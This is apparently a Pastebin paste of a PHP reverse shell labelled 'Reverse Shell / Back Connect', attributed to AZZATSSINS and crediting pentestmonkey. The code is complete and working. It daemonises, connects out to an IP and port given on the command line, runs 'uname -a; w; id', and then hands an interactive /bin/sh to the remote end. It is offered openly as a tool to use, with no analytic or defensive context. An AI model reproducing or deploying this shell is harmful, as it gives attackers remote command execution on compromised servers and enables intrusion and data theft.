Advertisement
AZZATSSINS_CYBERSERK

Reverse Shell / Back Connect

Apr 7th, 2017
971
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.36 KB | None | 0 0
  1. <?php
  2. /*AZZATSSINS REVERSHELL | © PENTESTMONKEY*/
  3. /*usage: php file.php ip port */
  4. set_time_limit (0);
  5. $VERSION = "1.0";
  6. $ip = $argv[1];
  7. $port = $argv[2];
  8. $chunk_size = 1400;
  9. $write_a = null;
  10. $error_a = null;
  11. $shell = 'uname -a; w; id; /bin/sh -i';
  12. $daemon = 0;
  13. $debug = 0;
  14. if (function_exists('pcntl_fork')) {
  15.     $pid = pcntl_fork();
  16.    
  17.     if ($pid == -1) {
  18.         printit("ERROR: Can't fork");
  19.         exit(1);
  20.     }
  21.    
  22.     if ($pid) {
  23.         exit(0);  // Parent exits
  24.     }
  25.  
  26.     if (posix_setsid() == -1) {
  27.         printit("Error: Can't setsid()");
  28.         exit(1);
  29.     }
  30.  
  31.     $daemon = 1;
  32. } else {
  33.     printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  34. }
  35.  
  36. chdir("/");
  37.  
  38. umask(0);
  39. $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  40. if (!$sock) {
  41.     printit("$errstr ($errno)");
  42.     exit(1);
  43. }
  44. $descriptorspec = array(
  45.    0 => array("pipe", "r"),
  46.    1 => array("pipe", "w"),
  47.    2 => array("pipe", "w")
  48. );
  49.  
  50. $process = proc_open($shell, $descriptorspec, $pipes);
  51.  
  52. if (!is_resource($process)) {
  53.     printit("ERROR: Can't spawn shell");
  54.     exit(1);
  55. }
  56.  
  57. stream_set_blocking($pipes[0], 0);
  58. stream_set_blocking($pipes[1], 0);
  59. stream_set_blocking($pipes[2], 0);
  60. stream_set_blocking($sock, 0);
  61.  
  62. printit("Successfully opened reverse shell to $ip:$port");
  63.  
  64. while (1) {
  65.     if (feof($sock)) {
  66.         printit("ERROR: Shell connection terminated");
  67.         break;
  68.     }
  69.  
  70.     // Check for end of STDOUT
  71.     if (feof($pipes[1])) {
  72.         printit("ERROR: Shell process terminated");
  73.         break;
  74.     }
  75.  
  76.     $read_a = array($sock, $pipes[1], $pipes[2]);
  77.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  78.  
  79.     if (in_array($sock, $read_a)) {
  80.         if ($debug) printit("SOCK READ");
  81.         $input = fread($sock, $chunk_size);
  82.         if ($debug) printit("SOCK: $input");
  83.         fwrite($pipes[0], $input);
  84.     }
  85.  
  86.     if (in_array($pipes[1], $read_a)) {
  87.         if ($debug) printit("STDOUT READ");
  88.         $input = fread($pipes[1], $chunk_size);
  89.         if ($debug) printit("STDOUT: $input");
  90.         fwrite($sock, $input);
  91.     }
  92.  
  93.     if (in_array($pipes[2], $read_a)) {
  94.         if ($debug) printit("STDERR READ");
  95.         $input = fread($pipes[2], $chunk_size);
  96.         if ($debug) printit("STDERR: $input");
  97.         fwrite($sock, $input);
  98.     }
  99. }
  100.  
  101. fclose($sock);
  102. fclose($pipes[0]);
  103. fclose($pipes[1]);
  104. fclose($pipes[2]);
  105. proc_close($process);
  106. function printit ($string) {
  107.     if (!$daemon) {
  108.         print "$string\n";
  109.     }
  110. }
  111.  
  112. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement